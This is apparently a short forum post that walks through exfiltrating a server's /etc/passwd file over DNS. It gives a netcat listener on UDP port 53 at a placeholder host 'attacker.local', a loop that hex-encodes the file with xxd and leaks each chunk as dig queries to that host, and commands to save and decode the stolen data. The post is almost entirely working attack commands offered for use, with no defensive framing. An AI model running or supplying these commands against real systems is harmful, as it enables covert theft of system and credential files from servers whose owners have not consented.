The shells used are standard for many * nix systems: xxd, dig, nc
This is our listener-a of attacker.local:
Code: Select all
┌─╼[~]
└╼ sudo nc -l -n -vv -p 53 -u -k
And this is the code we run on the server:
Code: Select all
$ for x in $(xxd -p -c16 /etc/passwd); do dig $x @attacker.local; done
Also, if you save the resulting information to a file using:
Code: Select all
sudo nc -l -n -vv -p 53 -u -k > /tmp/dump
You can easily review what you've taken with:
Code: Select all
xxd -p -r /tmp/dump